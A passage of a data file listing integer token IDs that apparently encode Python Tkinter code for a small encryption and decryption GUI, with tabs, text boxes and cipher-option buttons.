29889,
29911,
29895,
580,
13,
4706,
1583,
29889,
17591,
29918,
7165,
580,
268,
13,
13,
268,
13,
1678,
822,
4529,
29918,
23569,
29918,
11675,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
353,
306,
29896,
29947,
15868,
4641,
5275,
13454,
2057,
703,
264,
1159,
13,
4706,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
4906,
29918,
1884,
353,
306,
29896,
29947,
29940,
3728,
3313,
703,
264,
1159,
13,
13,
13,
1678,
822,
10822,
29918,
7165,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7922,
29918,
23569,
29918,
11027,
580,
13,
4706,
1583,
29889,
7922,
29918,
23569,
29918,
11675,
580,
13,
4706,
1583,
29889,
7165,
29889,
3257,
29898,
1311,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
7165,
29918,
3257,
29897,
13,
4706,
1583,
29889,
7165,
29889,
4144,
2966,
1958,
29898,
1311,
29889,
7165,
29892,
376,
8346,
29914,
27078,
29914,
908,
29918,
4144,
29889,
1417,
1159,
13,
4706,
1583,
29889,
7165,
29889,
690,
13902,
29898,
8824,
29892,
7700,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
6510,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
6510,
29918,
1646,
580,
13,
4706,
1583,
29889,
3258,
29918,
1445,
29918,
6510,
29918,
667,
580,
13,
4706,
1583,
29889,
3258,
29918,
8477,
29918,
6510,
29918,
667,
580,
13,
13,
13,
1678,
822,
1653,
29918,
6510,
29918,
1646,
29898,
1311,
1125,
13,
4706,
1583,
29889,
6510,
29918,
1646,
353,
20019,
29898,
1311,
29889,
7165,
29897,
13,
4706,
1583,
29889,
7165,
29889,
17591,
29898,
6510,
353,
1583,
29889,
6510,
29918,
1646,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
1445,
29918,
6510,
29918,
667,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1445,
29918,
6510,
353,
20019,
29898,
1311,
29889,
6510,
29918,
1646,
29892,
734,
279,
2696,
353,
29871,
29900,
29897,
13,
4706,
1583,
29889,
1445,
29918,
6510,
29889,
1202,
29918,
6519,
29898,
1643,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
6510,
29918,
1445,
29918,
1482,
29918,
1643,
29892,
1899,
353,
1583,
29889,
3150,
29918,
1482,
29918,
7165,
29897,
13,
4706,
1583,
29889,
1445,
29918,
6510,
29889,
1202,
29918,
6519,
29898,
1643,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
6510,
29918,
1445,
29918,
13322,
29918,
1643,
29892,
1899,
353,
1583,
29889,
5358,
29918,
7165,
29897,
13,
4706,
1583,
29889,
6510,
29918,
1646,
29889,
1202,
29918,
9398,
6332,
29898,
1643,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
6510,
29918,
1445,
29918,
1643,
29892,
6143,
353,
1583,
29889,
1445,
29918,
6510,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
8477,
29918,
6510,
29918,
667,
29898,
1311,
1125,
13,
4706,
1583,
29889,
8477,
29918,
6510,
353,
20019,
29898,
1311,
29889,
6510,
29918,
1646,
29892,
734,
279,
2696,
353,
29871,
29900,
29897,
13,
4706,
1583,
29889,
8477,
29918,
6510,
29889,
1202,
29918,
6519,
29898,
1643,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
6510,
29918,
8477,
29918,
12717,
29918,
1643,
29892,
1899,
353,
13611,
7653,
1043,
29897,
13,
4706,
1583,
29889,
6510,
29918,
1646,
29889,
1202,
29918,
9398,
6332,
29898,
1643,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
6510,
29918,
8477,
29918,
1643,
29892,
6143,
353,
1583,
29889,
8477,
29918,
6510,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
21175,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
3891,
29918,
6451,
580,
13,
4706,
1583,
29889,
3258,
29918,
29883,
3689,
29918,
3891,
580,
13,
4706,
1583,
29889,
3258,
29918,
7099,
3689,
29918,
3891,
580,
13,
4706,
1583,
29889,
1171,
482,
29918,
3891,
29918,
6451,
580,
13,
13,
13,
1678,
822,
1653,
29918,
3891,
29918,
6451,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3891,
29918,
6451,
353,
260,
11178,
29889,
3664,
19273,
29898,
1311,
29889,
7165,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
29883,
3689,
29918,
3891,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29883,
3689,
29918,
3891,
353,
260,
11178,
29889,
4308,
29898,
1311,
29889,
3891,
29918,
6451,
29897,
13,
4706,
1583,
29889,
3891,
29918,
6451,
29889,
1202,
29898,
1311,
29889,
29883,
3689,
29918,
3891,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
29883,
3689,
29918,
3891,
29918,
726,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
7099,
3689,
29918,
3891,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7099,
3689,
29918,
3891,
353,
260,
11178,
29889,
4308,
29898,
1311,
29889,
3891,
29918,
6451,
29897,
13,
4706,
1583,
29889,
3891,
29918,
6451,
29889,
1202,
29898,
1311,
29889,
7099,
3689,
29918,
3891,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
7099,
3689,
29918,
3891,
29918,
726,
29897,
13,
13,
13,
1678,
822,
10933,
29918,
3891,
29918,
6451,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3891,
29918,
6451,
29889,
4058,
29898,
18837,
353,
29871,
29896,
29892,
5445,
353,
376,
20313,
1159,
13,
13,
13,
1678,
822,
1653,
29918,
8030,
29879,
29918,
974,
29918,
29883,
3689,
29918,
3891,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
29883,
3689,
29918,
2042,
29918,
8205,
761,
3128,
580,
13,
4706,
1583,
29889,
3258,
29918,
8030,
29879,
29918,
3166,
29918,
29883,
3689,
29918,
2042,
29918,
8205,
761,
3128,
580,
13,
4706,
1583,
29889,
3258,
29918,
3977,
14272,
29918,
6768,
29918,
8205,
761,
3128,
580,
13,
4706,
1583,
29889,
3258,
29918,
4187,
7453,
29918,
3166,
29918,
3977,
14272,
29918,
6768,
580,
13,
13,
13,
1678,
822,
1653,
29918,
29883,
3689,
29918,
2042,
29918,
8205,
761,
3128,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29883,
3689,
29918,
8205,
761,
3128,
353,
260,
11178,
29889,
4775,
4308,
29898,
1311,
29889,
29883,
3689,
29918,
3891,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
29883,
3689,
29918,
2042,
29918,
8205,
761,
3128,
29897,
13,
4706,
1583,
29889,
29883,
3689,
29918,
8205,
761,
3128,
29889,
7720,
29898,
798,
353,
29871,
29900,
29892,
17132,
29916,
353,
1583,
29889,
23569,
29918,
11027,
29889,
29883,
3689,
29918,
2042,
29918,
12791,
29918,
2103,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
8030,
29879,
29918,
3166,
29918,
29883,
3689,
29918,
2042,
29918,
8205,
761,
3128,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
580,
13,
4706,
1583,
29889,
3258,
29918,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
580,
13,
4706,
1583,
29889,
3258,
29918,
1643,
29918,
1454,
29918,
3977,
14740,
29918,
4906,
580,
13,
4706,
1583,
29889,
3258,
29918,
1557,
24476,
726,
29918,
1454,
29918,
3977,
14740,
29918,
4906,
580,
13,
13,
13,
1678,
822,
1653,
29918,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
353,
260,
11178,
29889,
4775,
29898,
1311,
29889,
29883,
3689,
29918,
8205,
761,
3128,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
29892,
4079,
353,
313,
1311,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
11922,
29892,
1583,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
2311,
876,
13,
4706,
1583,
29889,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
29889,
7720,
29898,
798,
353,
29871,
29896,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
353,
885,
24476,
726,
29889,
4421,
24476,
1626,
29898,
1311,
29889,
29883,
3689,
29918,
8205,
761,
3128,
29892,
2920,
353,
1583,
29889,
23569,
29918,
11027,
29889,
1557,
24476,
726,
29918,
2103,
29892,
3171,
353,
1583,
29889,
23569,
29918,
11027,
29889,
1557,
24476,
726,
29918,
3545,
29892,
4079,
353,
313,
1311,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
11922,
29892,
1583,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
2311,
511,
12244,
353,
18883,
29889,
17013,
29897,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
29889,
7720,
29898,
798,
353,
29871,
29906,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29897,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
29889,
18037,
580,
13,
13,
13,
1678,
822,
1653,
29918,
1643,
29918,
1454,
29918,
3977,
14740,
29918,
4906,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1643,
29918,
3977,
14740,
29918,
4906,
353,
260,
11178,
29889,
4775,
29898,
1311,
29889,
29883,
3689,
29918,
8205,
761,
3128,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
1643,
29918,
3977,
14740,
29918,
4906,
29892,
4079,
353,
313,
1311,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
11922,
29892,
1583,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
2311,
876,
13,
4706,
1583,
29889,
1643,
29918,
3977,
14740,
29918,
4906,
29889,
7720,
29898,
798,
353,
29871,
29941,
29897,
13,
13,
268,
13,
1678,
822,
1653,
29918,
1557,
24476,
726,
29918,
1454,
29918,
3977,
14740,
29918,
4906,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
3977,
14740,
29918,
4906,
353,
885,
24476,
726,
29889,
4421,
24476,
1626,
29898,
1311,
29889,
29883,
3689,
29918,
8205,
761,
3128,
29892,
2920,
353,
1583,
29889,
23569,
29918,
11027,
29889,
1557,
24476,
726,
29918,
2103,
29892,
3171,
353,
1583,
29889,
23569,
29918,
11027,
29889,
1557,
24476,
726,
29918,
3545,
29892,
4079,
353,
313,
1311,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
11922,
29892,
1583,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
2311,
511,
12244,
353,
18883,
29889,
17013,
29897,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
3977,
14740,
29918,
4906,
29889,
7720,
29898,
798,
353,
29871,
29946,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
3977,
14272,
29918,
6768,
29918,
8205,
761,
3128,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29883,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
353,
260,
11178,
29889,
4775,
4308,
29898,
1311,
29889,
29883,
3689,
29918,
8205,
761,
3128,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
29883,
4641,
5275,
29918,
6768,
29897,
13,
4706,
1583,
29889,
29883,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
29889,
7720,
29898,
798,
353,
29871,
29945,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29892,
12070,
29891,
353,
18883,
29889,
29956,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
4187,
7453,
29918,
3166,
29918,
3977,
14272,
29918,
6768,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
1113,
26892,
29918,
3977,
14272,
29918,
3092,
580,
13,
4706,
1583,
29889,
3258,
29918,
12257,
344,
29918,
3977,
14272,
29918,
3092,
580,
13,
4706,
1583,
29889,
1202,
29918,
12791,
29918,
517,
29918,
3977,
14272,
29918,
4187,
7453,
580,
13,
13,
13,
1678,
822,
1653,
29918,
1113,
26892,
29918,
3977,
14272,
29918,
3092,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3092,
29918,
1113,
26892,
29918,
29883,
4641,
5275,
353,
260,
11178,
29889,
3125,
29898,
1311,
29889,
29883,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
1113,
26892,
29918,
29883,
4641,
5275,
29918,
3092,
29918,
726,
29892,
1899,
353,
14013,
584,
1583,
29889,
5014,
29918,
4906,
29898,
26270,
26892,
29892,
376,
3977,
4641,
613,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
29892,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
3977,
14740,
29918,
4906,
876,
13,
4706,
1583,
29889,
3092,
29918,
1113,
26892,
29918,
29883,
4641,
5275,
29889,
7720,
29898,
4914,
353,
29871,
29900,
29892,
1948,
353,
29871,
29900,
29892,
12070,
29891,
353,
18883,
29889,
29956,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
12257,
344,
29918,
3977,
14272,
29918,
3092,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3092,
29918,
12257,
344,
29918,
29883,
4641,
5275,
353,
260,
11178,
29889,
3125,
29898,
1311,
29889,
29883,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
12257,
344,
29918,
29883,
4641,
5275,
29918,
3092,
29918,
726,
29892,
1899,
353,
14013,
584,
1583,
29889,
5014,
29918,
4906,
29898,
28581,
344,
29892,
376,
3977,
4641,
613,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
3977,
14740,
29892,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
3977,
14740,
29918,
4906,
876,
13,
4706,
1583,
29889,
3092,
29918,
12257,
344,
29918,
29883,
4641,
5275,
29889,
7720,
29898,
4914,
353,
29871,
29896,
29892,
1948,
353,
29871,
29900,
29892,
12070,
29891,
353,
18883,
29889,
29956,
29897,
13,
13,
13,
1678,
822,
788,
29918,
12791,
29918,
517,
29918,
3977,
14272,
29918,
4187,
7453,
29898,
1311,
1125,
13,
4706,
363,
2826,
297,
1583,
29889,
29883,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
29889,
29893,
3888,
29918,
11991,
7295,
13,
9651,
2826,
29889,
7720,
29918,
17591,
29898,
8305,
29916,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
2103,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
8030,
29879,
29918,
974,
29918,
7099,
3689,
29918,
3891,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
7099,
3689,
29918,
2042,
29918,
8205,
761,
3128,
580,
13,
4706,
1583,
29889,
3258,
29918,
8030,
29879,
29918,
3166,
29918,
7099,
3689,
29918,
2042,
29918,
8205,
761,
3128,
580,
13,
4706,
1583,
29889,
3258,
29918,
7099,
14272,
29918,
6768,
29918,
8205,
761,
3128,
580,
13,
4706,
1583,
29889,
3258,
29918,
4187,
7453,
29918,
3166,
29918,
7099,
14272,
29918,
6768,
580,
13,
13,
13,
1678,
822,
1653,
29918,
7099,
3689,
29918,
2042,
29918,
8205,
761,
3128,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7099,
3689,
29918,
8205,
761,
3128,
353,
260,
11178,
29889,
4775,
4308,
29898,
1311,
29889,
7099,
3689,
29918,
3891,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
7099,
3689,
29918,
2042,
29918,
8205,
761,
3128,
29897,
13,
4706,
1583,
29889,
7099,
3689,
29918,
8205,
761,
3128,
29889,
7720,
29898,
798,
353,
29871,
29900,
29892,
17132,
29916,
353,
1583,
29889,
23569,
29918,
11027,
29889,
29883,
3689,
29918,
2042,
29918,
12791,
29918,
2103,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
8030,
29879,
29918,
3166,
29918,
7099,
3689,
29918,
2042,
29918,
8205,
761,
3128,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
580,
13,
4706,
1583,
29889,
3258,
29918,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
580,
13,
4706,
1583,
29889,
3258,
29918,
1643,
29918,
1454,
29918,
7099,
14740,
29918,
4906,
580,
13,
4706,
1583,
29889,
3258,
29918,
1557,
24476,
726,
29918,
1454,
29918,
7099,
14740,
29918,
4906,
580,
13,
13,
13,
1678,
822,
1653,
29918,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
353,
260,
11178,
29889,
4775,
29898,
1311,
29889,
7099,
3689,
29918,
8205,
761,
3128,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
29892,
4079,
353,
313,
1311,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
11922,
29892,
1583,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
2311,
876,
13,
4706,
1583,
29889,
1643,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
29889,
7720,
29898,
798,
353,
29871,
29896,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
353,
885,
24476,
726,
29889,
4421,
24476,
1626,
29898,
1311,
29889,
7099,
3689,
29918,
8205,
761,
3128,
29892,
2920,
353,
1583,
29889,
23569,
29918,
11027,
29889,
1557,
24476,
726,
29918,
2103,
29892,
3171,
353,
1583,
29889,
23569,
29918,
11027,
29889,
1557,
24476,
726,
29918,
3545,
29892,
4079,
353,
313,
1311,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
11922,
29892,
1583,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
2311,
511,
12244,
353,
18883,
29889,
17013,
29897,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
29889,
7720,
29898,
798,
353,
29871,
29906,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29897,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
29889,
18037,
580,
13,
13,
13,
1678,
822,
1653,
29918,
1643,
29918,
1454,
29918,
7099,
14740,
29918,
4906,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1643,
29918,
7099,
14740,
29918,
4906,
353,
260,
11178,
29889,
4775,
29898,
1311,
29889,
7099,
3689,
29918,
8205,
761,
3128,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
1643,
29918,
7099,
14740,
29918,
4906,
29892,
4079,
353,
313,
1311,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
11922,
29892,
1583,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
2311,
876,
13,
4706,
1583,
29889,
1643,
29918,
7099,
14740,
29918,
4906,
29889,
7720,
29898,
798,
353,
29871,
29941,
29897,
13,
13,
268,
13,
1678,
822,
1653,
29918,
1557,
24476,
726,
29918,
1454,
29918,
7099,
14740,
29918,
4906,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
7099,
14740,
29918,
4906,
353,
885,
24476,
726,
29889,
4421,
24476,
1626,
29898,
1311,
29889,
7099,
3689,
29918,
8205,
761,
3128,
29892,
2920,
353,
1583,
29889,
23569,
29918,
11027,
29889,
1557,
24476,
726,
29918,
2103,
29892,
3171,
353,
1583,
29889,
23569,
29918,
11027,
29889,
1557,
24476,
726,
29918,
3545,
29892,
4079,
353,
313,
1311,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
11922,
29892,
1583,
29889,
23569,
29918,
11027,
29889,
5657,
29918,
2311,
511,
12244,
353,
18883,
29889,
17013,
29897,
13,
4706,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
7099,
14740,
29918,
4906,
29889,
7720,
29898,
798,
353,
29871,
29946,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
7099,
14272,
29918,
6768,
29918,
8205,
761,
3128,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7099,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
353,
260,
11178,
29889,
4775,
4308,
29898,
1311,
29889,
7099,
3689,
29918,
8205,
761,
3128,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
29883,
4641,
5275,
29918,
6768,
29897,
13,
4706,
1583,
29889,
7099,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
29889,
7720,
29898,
798,
353,
29871,
29945,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29892,
12070,
29891,
353,
18883,
29889,
29956,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
4187,
7453,
29918,
3166,
29918,
7099,
14272,
29918,
6768,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
1113,
26892,
29918,
7099,
14272,
29918,
3092,
580,
13,
4706,
1583,
29889,
3258,
29918,
12257,
344,
29918,
7099,
14272,
29918,
3092,
580,
13,
4706,
1583,
29889,
1202,
29918,
12791,
29918,
517,
29918,
7099,
14272,
29918,
4187,
7453,
580,
13,
13,
13,
1678,
822,
1653,
29918,
1113,
26892,
29918,
7099,
14272,
29918,
3092,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3092,
29918,
1113,
26892,
29918,
29883,
4641,
5275,
353,
260,
11178,
29889,
3125,
29898,
1311,
29889,
7099,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
1113,
26892,
29918,
29883,
4641,
5275,
29918,
3092,
29918,
726,
29892,
1899,
353,
14013,
584,
1583,
29889,
5014,
29918,
4906,
29898,
26270,
26892,
29892,
376,
7099,
4641,
613,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
29892,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
7099,
14740,
29918,
4906,
876,
13,
4706,
1583,
29889,
3092,
29918,
1113,
26892,
29918,
29883,
4641,
5275,
29889,
7720,
29898,
4914,
353,
29871,
29900,
29892,
1948,
353,
29871,
29900,
29892,
12070,
29891,
353,
18883,
29889,
29956,
29897,
13,
13,
13,
1678,
822,
1653,
29918,
12257,
344,
29918,
7099,
14272,
29918,
3092,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3092,
29918,
12257,
344,
29918,
29883,
4641,
5275,
353,
260,
11178,
29889,
3125,
29898,
1311,
29889,
7099,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
29892,
1426,
353,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
29889,
12257,
344,
29918,
29883,
4641,
5275,
29918,
3092,
29918,
726,
29892,
1899,
353,
14013,
584,
1583,
29889,
5014,
29918,
4906,
29898,
28581,
344,
29892,
376,
7099,
4641,
613,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
4906,
29918,
517,
29918,
915,
29918,
7099,
14740,
29892,
1583,
29889,
1557,
24476,
726,
29918,
1454,
29918,
7099,
14740,
29918,
4906,
876,
13,
4706,
1583,
29889,
3092,
29918,
12257,
344,
29918,
29883,
4641,
5275,
29889,
7720,
29898,
4914,
353,
29871,
29896,
29892,
1948,
353,
29871,
29900,
29892,
12070,
29891,
353,
18883,
29889,
29956,
29897,
13,
13,
268,
13,
1678,
822,
788,
29918,
12791,
29918,
517,
29918,
7099,
14272,
29918,
4187,
7453,
29898,
1311,
1125,
13,
4706,
363,
2826,
297,
1583,
29889,
7099,
3689,
29918,
3891,
29918,
29883,
4641,
5275,
29918,
6768,
29889,
29893,
3888,
29918,
11991,
7295,
13,
9651,
2826,
29889,
7720,
29918,
17591,
29898,
8305,
29916,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
2103,
29892,
282,
3714,
353,
1583,
29889,
23569,
29918,
11027,
29889,
12791,
29918,
3545,
29897,
13,
13,
13,
1678,
822,
3802,
29918,
7165,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7165,
29889,
28358,
580,
13,
4706,
1583,
29889,
7165,
29889,
20524,
580,
13,
4706,
6876,
580,
13,
13,
268,
13,
1678,
822,
1722,
29918,
1482,
29918,
7165,
29898,
1311,
1125,
13,
4706,
315,
4641,
5275,
13454,
2057,
580,
13,
13,
13,
1678,
822,
1510,
29918,
4906,
29918,
1884,
29898,
1311,
29892,
1134,
29892,
3611,
29892,
2793,
1125,
13,
4706,
1134,
353,
1134,
29889,
13609,
580,
13,
4706,
565,
1134,
1275,
376,
3888,
1115,
13,
9651,
10191,
29889,
4294,
3888,
29898,
3257,
29892,
2793,
29897,
13,
13,
4706,
25342,
1134,
1275,
376,
27392,
1115,
13,
9651,
10191,
29889,
4294,
27392,
29898,
3257,
29892,
2793,
29897,
13,
13,
4706,
25342,
1134,
1275,
376,
2704,
1115,
13,
9651,
10191,
29889,
845,
1680,
729,
29898,
3257,
29892,
2793,
29897,
13,
13,
13,
1678,
822,
1735,
29918,
4906,
29918,
265,
29918,
1557,
24476,
726,
29898,
1311,
29892,
885,
24476,
726,
29892,
2643,
1125,
13,
4706,
885,
24476,
726,
29889,
8143,
703,
29896,
29889,
29900,
613,
376,
355,
1159,
13,
4706,
885,
24476,
726,
29889,
7851,
703,
29896,
29889,
29900,
613,
2643,
29897,
13,
13,
13,
1678,
822,
679,
29918,
726,
29918,
3166,
29918,
1557,
24476,
726,
29898,
1311,
29892,
885,
24476,
726,
1125,
13,
4706,
1426,
353,
885,
24476,
726,
29889,
657,
703,
29896,
29889,
29900,
613,
376,
355,
29899,
29896,
29883,
2564,
17010,
580,
13,
4706,
736,
1426,
13,
13,
13,
1678,
822,
1889,
29918,
4906,
29898,
1311,
29892,
24941,
5275,
29918,
20567,
29892,
3158,
29892,
2752,
29918,
1557,
24476,
726,
29892,
2731,
4901,
29918,
1557,
24476,
726,
1125,
13,
4706,
2752,
29918,
4906,
353,
1583,
29889,
657,
29918,
726,
29918,
